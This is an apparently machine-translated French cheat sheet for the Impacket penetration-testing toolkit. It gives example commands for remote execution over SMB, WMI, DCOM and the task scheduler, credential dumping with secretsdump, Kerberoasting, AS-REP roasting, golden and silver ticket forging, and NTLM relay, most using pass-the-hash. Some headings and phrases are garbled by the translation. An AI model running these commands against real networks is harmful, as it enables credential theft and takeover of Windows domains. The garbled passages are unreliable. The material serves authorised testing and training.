Aller au contenu

Boîte à outils pour empaquetage Feuille de chaleur

Copier toutes les commandes Générer PDF

Aperçu général

Impacket est une collection de classes Python pour travailler avec des protocoles réseau. Il fournit un accès programmatique de faible niveau aux paquets et met en œuvre plusieurs protocoles dont SMB, MSRPC et Kerberos. Impacket comprend de nombreux outils prêts à l'emploi pour les tests de pénétration, particulièrement axé sur les environnements Windows.

C'est pas vrai. Attention: Impacket est un outil de test de sécurité qui ne devrait être utilisé que dans les environnements où vous avez la permission explicite de le faire.

Installation

De PyPI

pip install impacket

De GitHub

git clone https://github.com/fortra/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install
```_

### Sur Kali Linux
```bash
sudo apt update
sudo apt install -y python3-impacket
```_

### Utilisation de l'environnement virtuel
```bash
# Create and activate virtual environment
python -m venv impacket-env
source impacket-env/bin/activate  # Linux/macOS
impacket-env\Scripts\activate.bat  # Windows

# Install Impacket
pip install impacket

Outils d'exécution des commandes

Psexec.py

Exécute des commandes sur les systèmes Windows distants en utilisant le protocole SMB, similaire à PsExec de SysInternals.

Utilisation de base

psexec.py [domain/]username[:password]@target [options] [command]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-k Use Kerberos authentication
-no-pass Don't ask for password (useful for Kerberos)
-port [port] Connect to SMB Server port (default: 445)
-debug Turn DEBUG output ON

Exemples

# Execute command with explicit credentials
psexec.py administrator:Password123@192.168.1.100 cmd.exe

# Execute command with domain credentials
psexec.py domain/administrator:Password123@192.168.1.100 cmd.exe

# Execute specific command
psexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

# Use hash instead of password (Pass-the-Hash)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 cmd.exe

Smbexec.py

Similaire à psexec.py mais utilise différentes techniques pour exécuter des commandes, ce qui le rend potentiellement plus furtif.

Utilisation de base

smbexec.py [domain/]username[:password]@target [options]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-share SHARE Share where the output will be grabbed from (default: ADMIN$)
-shell-type \\{cmd,powershell\\} Shell type to use (default: cmd)
-codec CODEC Sets encoding used (codec) from the target's output (default: UTF-8)
-service-name NAME Service name to use (default: random)

Exemples

# Execute with explicit credentials
smbexec.py administrator:Password123@192.168.1.100

# Execute with domain credentials
smbexec.py domain/administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

# Use PowerShell instead of cmd
smbexec.py -shell-type powershell administrator:Password123@192.168.1.100

- Oui.

Exécute les commandes sur les systèmes Windows distants en utilisant WMI.

Utilisation de base

wmiexec.py [domain/]username[:password]@target [options] [command]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-share SHARE Share where the output will be grabbed from (default: ADMIN$)
-silentcommand Execute command and return immediately without output
-codec CODEC Sets encoding used (codec) from the target's output (default: UTF-8)
-shell-type \\{cmd,powershell\\} Shell type to use (default: cmd)

Exemples

# Execute with explicit credentials
wmiexec.py administrator:Password123@192.168.1.100

# Execute with domain credentials
wmiexec.py domain/administrator:Password123@192.168.1.100

# Execute specific command
wmiexec.py administrator:Password123@192.168.1.100 "ipconfig /all"

# Use hash instead of password (Pass-the-Hash)
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

dcomexec.py

Exécute des commandes sur les systèmes Windows distants en utilisant des objets DCOM.

Utilisation de base

dcomexec.py [domain/]username[:password]@target [options] [command]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-object \\{ShellWindows,ShellBrowserWindow,MMC20\\} DCOM object to use (default: MMC20.Application)
-silentcommand Execute command and return immediately without output
-codec CODEC Sets encoding used (codec) from the target's output (default: UTF-8)
-shell-type \\{cmd,powershell\\} Shell type to use (default: cmd)

Exemples

# Execute with explicit credentials
dcomexec.py administrator:Password123@192.168.1.100

# Execute with domain credentials
dcomexec.py domain/administrator:Password123@192.168.1.100

# Execute with specific DCOM object
dcomexec.py -object ShellWindows administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

- Oui.

Exécute les commandes sur les systèmes Windows distants en utilisant le service Task Scheduler.

Utilisation de base

atexec.py [domain/]username[:password]@target [options] command

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-silentcommand Execute command and return immediately without output
-codec CODEC Sets encoding used (codec) from the target's output (default: UTF-8)

Exemples

# Execute command with explicit credentials
atexec.py administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"

# Execute command with domain credentials
atexec.py domain/administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"

# Use hash instead of password (Pass-the-Hash)
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 "whoami > C:\\temp\\whoami.txt"

Outils de dumping de justificatifs

secretsdump.py

Extrait les identifiants d'un système Windows distant, y compris SAM, LSA Secrets, et NTDS.dit.

Utilisation de base

secretsdump.py [domain/]username[:password]@target [options]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-just-dc Extract only NTDS.DIT data (domain controller only)
-just-dc-ntlm Extract only NTDS.DIT NTLM hashes (domain controller only)
-just-dc-user USER Extract only NTDS.DIT data for specific user
-pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account
-user-status Shows whether the user is enabled or disabled
-history Dump password history
-outputfile FILE Write output to file

Exemples

# Dump credentials with explicit credentials
secretsdump.py administrator:Password123@192.168.1.100

# Dump credentials with domain credentials
secretsdump.py domain/administrator:Password123@192.168.1.100

# Dump credentials using hash (Pass-the-Hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

# Dump credentials from local files
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

# Dump credentials from NTDS.dit
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# Extract only domain controller NTLM hashes
secretsdump.py -just-dc-ntlm domain/administrator:Password123@192.168.1.100

Outils d'attaque Kerberos

Obtenez NPUsers.py

Récupérer les hachages de mot de passe pour les utilisateurs avec "Ne pas exiger Kerberos preauthentication" set (AsrepRoast attack).

Utilisation de base

GetNPUsers.py [domain/]username[:password] -dc-ip <DC_IP> [options]

Options communes

Option Description
-request Requests TGT for users and output them in JtR/hashcat format
-no-pass Don't ask for password (useful for Kerberos)
-k Use Kerberos authentication
-dc-ip IP IP Address of the domain controller
-usersfile FILE File with user per line to test
-format \\{hashcat,john\\} Format to save the AS_REP responses (default: hashcat)
-outputfile FILE Output filename to write ciphers in JtR/hashcat format

Exemples

# Get users without Kerberos preauthentication with explicit credentials
GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request

# Get users without Kerberos preauthentication for specific user
GetNPUsers.py domain/username:password -dc-ip 192.168.1.100 -request -target-user user1

# Get users without Kerberos preauthentication for all users in domain
GetNPUsers.py domain/ -dc-ip 192.168.1.100 -usersfile users.txt -format hashcat

# Use no credentials (anonymous)
GetNPUsers.py domain/ -dc-ip 192.168.1.100 -no-pass

GetUserSPNs.py

Retrieves Service Noms principaux (SPN) pour les comptes dans le domaine (attaque de Kerberoasting).

Utilisation de base

GetUserSPNs.py [domain/]username[:password] -dc-ip <DC_IP> [options]

Options communes

Option Description
-request Requests TGS for users and output them in JtR/hashcat format
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-dc-ip IP IP Address of the domain controller
-target-user USER Target specific user to request TGS for
-outputfile FILE Output filename to write ciphers in JtR/hashcat format
-format \\{hashcat,john\\} Format to save the TGS tickets (default: hashcat)

Exemples

# Get SPNs with explicit credentials
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request

# Get SPNs for specific user
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -target-user sqlservice

# Output hashes in specific format
GetUserSPNs.py domain/username:password -dc-ip 192.168.1.100 -request -format hashcat

# Use hash instead of password (Pass-the-Hash)
GetUserSPNs.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain/username -dc-ip 192.168.1.100 -request

ticketer.py

Crée des billets d'or et d'argent pour l'authentification Kerberos.

Utilisation de base

ticketer.py [options] username

Options communes

Option Description
-nthash HASH NT hash for the user or service account
-aesKey KEY AES key for the user or service account
-domain DOMAIN Domain name
-domain-sid SID Domain SID
-spn SPN Service Principal Name (for Silver Tickets)
-groups IDS Comma-separated list of group IDs to include in the ticket
-duration HOURS Ticket duration in hours (default: 10)
-out FILE Output filename to save the ticket

Exemples

# Create Golden Ticket
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local administrator

# Create Silver Ticket
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -spn MSSQLSvc/sqlserver.contoso.local:1433 administrator

# Specify output file
ticketer.py -nthash 7facdc498ed1680c4fd1448319a8c04f -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain contoso.local -out ticket.kirbi administrator

Outils de protocoles réseau

Smbclient.py

Fournit un client SMB pour accéder aux partages et aux fichiers sur les systèmes distants.

Utilisation de base

smbclient.py [domain/]username[:password]@target [options]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-port [port] Connect to SMB Server port (default: 445)
-file FILE Input file with commands to execute in the mini shell
-debug Turn DEBUG output ON

Commandes communes (shell interactif)

Command Description
help Show available commands
shares List available shares
use <share> Connect to a specific share
ls List files in current directory
cd <dir> Change directory
get <file> Download file
put <file> Upload file
rm <file> Delete file
mkdir <dir> Create directory
rmdir <dir> Remove directory
exit Exit the shell

Exemples

# Connect with explicit credentials
smbclient.py administrator:Password123@192.168.1.100

# Connect with domain credentials
smbclient.py domain/administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

mssqlclient.py

Fournit à un client d'interagir avec les instances Microsoft SQL Server.

Utilisation de base

mssqlclient.py [domain/]username[:password]@target [options]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-windows-auth Use Windows Authentication (default: False)
-port [port] Destination port to connect to (default: 1433)
-db DATABASE MSSQL database instance (default: None)
-file FILE Input file with commands to execute in the SQL shell
-debug Turn DEBUG output ON

Commandes communes (shell interactif)

Command Description
help Show available commands
enable_xp_cmdshell Enable the xp_cmdshell stored procedure
disable_xp_cmdshell Disable the xp_cmdshell stored procedure
xp_cmdshell <command> Execute command through xp_cmdshell
sp_start_job <job> Start a SQL Server job
exit Exit the shell

Exemples

# Connect with explicit credentials
mssqlclient.py sa:Password123@192.168.1.100

# Connect with domain credentials
mssqlclient.py domain/sqluser:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 sa@192.168.1.100

# Enable Windows authentication
mssqlclient.py domain/sqluser:Password123@192.168.1.100 -windows-auth

Autres outils utiles

ntlmrelayx.py

Exécution NTLM Les attaques de relais.

Utilisation de base

ntlmrelayx.py [options]

Options communes

Option Description
-t TARGET Target to relay the credentials to
-tf FILE File with targets to relay the credentials to
-w Start the HTTP server and do not relay credentials
-e FILE Execute this file when a connection is relayed
-c COMMAND Execute this command when a connection is relayed
-smb2support Enable SMB2 support
-socks Launch a SOCKS proxy for the connection
-one-shot Relay only one connection
-debug Turn DEBUG output ON

Exemples

# Relay to specific target
ntlmrelayx.py -t smb://192.168.1.100 -smb2support

# Relay to multiple targets
ntlmrelayx.py -tf targets.txt -smb2support

# Execute command on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -c "whoami > C:\\temp\\whoami.txt"

# Dump SAM database on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -d

# Start SOCKS proxy
ntlmrelayx.py -tf targets.txt -socks

Rechercher.py

Effectue des recherches SID pour énumérer les utilisateurs et les groupes.

Utilisation de base

lookupsid.py [domain/]username[:password]@target [options]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-domain DOMAIN Domain to enumerate (default: target domain)
-debug Turn DEBUG output ON

Exemples

# Enumerate SIDs with explicit credentials
lookupsid.py administrator:Password123@192.168.1.100

# Enumerate SIDs with domain credentials
lookupsid.py domain/administrator:Password123@192.168.1.100

# Use hash instead of password (Pass-the-Hash)
lookupsid.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100

Rég.py

Fournit un outil de manipulation de registre à distance.

Utilisation de base

reg.py [domain/]username[:password]@target [options] action [params]

Options communes

Option Description
-hashes LMHASH:NTHASH Use NTLM hashes instead of password (Pass-the-Hash)
-debug Turn DEBUG output ON

Actions

Action Description
query Query a registry key or value
add Add a registry key or value
delete Delete a registry key or value
save Save a registry hive to a file

Exemples

# Query registry key with explicit credentials
reg.py administrator:Password123@192.168.1.100 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion

# Add registry key with domain credentials
reg.py domain/administrator:Password123@192.168.1.100 add -keyName HKLM\\SOFTWARE\\Test -v TestValue -vt REG_SZ -vd "Test Data"

# Delete registry key with hash (Pass-the-Hash)
reg.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 delete -keyName HKLM\\SOFTWARE\\Test

Paramètres communs Outils

Parameter Description
-h, --help Show help message and exit
-debug Turn DEBUG output ON
-hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH
-no-pass Don't ask for password (useful for Kerberos)
-k Use Kerberos authentication
-aesKey KEY AES key to use for Kerberos authentication
-dc-ip IP IP Address of the domain controller
-target-ip IP IP Address of the target machine
-port [port] Destination port to connect to

Ressources

  • [Répertoire officiel GitHub] (LINK_5)
  • [Documentation sur l'emballage] (LINK_5)
  • [Exemples d'emballage] (LINK_5)
  • [Impacket Wiki] (LINK_5)
  • Documentation de l'API Impacket